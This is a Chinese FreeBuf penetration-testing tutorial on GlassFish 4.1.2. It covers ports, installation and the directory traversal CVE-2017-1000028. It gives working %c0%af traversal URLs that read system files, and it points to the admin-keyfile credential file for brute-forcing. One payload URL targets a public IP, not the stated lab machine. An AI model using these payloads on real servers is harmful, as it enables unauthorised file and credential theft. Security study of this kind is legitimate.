freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基服务篇:服务攻防之中间件GlassFish(总)
2021-10-07 20:29:07

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。

可想而知中间件连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,中间件的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的中间件中往往连接数据库,而数据库储存着等极其重要和敏感的信息。如果中间件被攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。

通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

今天会讲解到学习GlassFish简介、GlassFish和GlassFish4.1.2详细安装、GlassFish Directory Traversal(CVE-2017-1000028)、GlassFish后台Getshell、实战GlassFish技巧等渗透操作等,最后远程代码执行控制服务器等操作,如果连GlassFish都不会安装操作提权等,怎么进行下一步的研究GlassFish安全!怎么拿下对方服务器?

二、GlassFish简介

GlassFish 是用于构建 Java EE 5应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。该项目提供了开发高质量应用服务器的结构化过程,以前所未有的速度提供新的功能。

默认端口端口:

使用Admin的端口 4848。
使用HTTP Instance的端口 8080。
使用JMS的端口 7676。
使用IIOP的端口 3700。
使用HTTP_SSL的端口 8181。
使用IIOP_SSL的端口 3820。
使用IIOP_MUTUALAUTH的端口 3920。
使用JMX_ADMIN的端口 8686。
使用OSGI_SHELL的默认端口 6666。
使用JAVA_DEBUGGER的默认端口 9009。

默认返回的指纹信息:

Server: GlassFish Server Open Source Edition  4.1.2
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition  4.1.2  Java/Oracle Corporation/1.8)

glassfish 是全认证的Java EE 服务器。包括EJB等等。
Tomcat 是简化的,基本上只是对于Web应用的功能。
glassfish 在控制页面和管理页面上比Tomcat要强大很多!

三、GlassFish安装

1、官网简览1633609789_615ee83d67e11b10ff118.png!small?1633609799146

https://javaee.github.io/glassfish/download

2、GlassFish4.1.2详细安装

1)下载GlassFish4.1.2
1633609796_615ee8445ff43ec2f8fa9.png!small?1633609799146

https://download.java.net/glassfish/4.1.2/release/glassfish-4.1.2.zip

下载完后解压并放到虚拟机本地C盘!

2)配置环境变量
1633609812_615ee8542420b58c69c9b.png!small?1633609812785C:\glassfish4\bin配置到path本地环境变量即可!

3)安装jdk6或者以上版本即可!!

4)进入glassfish/bin目录下打开CMD窗口输入asadmin start-domain启动glassfish:
1633609816_615ee858e5377f2fe9383.png!small?1633609817621成功启动!

asadmin start-domain 启动glassfish
asadmin stop-domain 停止glassfish

5)测试访问
1633609821_615ee85d7a612cf5e7537.png!small?1633609822946

http://192.168.253.100:4848/

成功访问!

四、GlassFish渗透总结

1、GlassFish Directory Traversal(CVE-2017-1000028)

1)漏洞简介

Java语言中会把%c0%af解析为\uC0AF,最后转义为ASCII字符的/(斜杠)。利用..%c0%af..%c0%af来向上跳转,达到目录穿越、任意文件读取的效果。

计算机指定了UTF-8编码接收二进制并进行转义,当发现字节以0开头,表示这是一个标准ASCII字符直接转义,当发现110开头,则取2个字节 去掉110模板后转义。
1633609826_615ee862a5ffb7c4e5b2d.png!small?1633609826785C0AF 转换位二进制为 ‭‭110 00000 10 101111‬ ,110开头去掉摸板后为00000 101111 转换为10进制为47,ASSCI为/

受影响版本:<=4.1.2版本

2)本地复现漏洞

启动GlassFish后,访问

http://192.168.253.100:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

http://101.201.147.161:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

1633609832_615ee8685091cb111464b.png!small?1633609832571

读admin-keyfile文件,该文件是储存admin账号密码的文件,爆破:

目录位置:
1633609836_615ee86c31f3b29f00878.png!small?1633609838819

glassfish/domains/domain1/config/admin-keyfile

一般在这儿!

本文作者:, 属于FreeBuf原创奖励计划,未经许可禁止转载

# 渗透测试
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦
收入专辑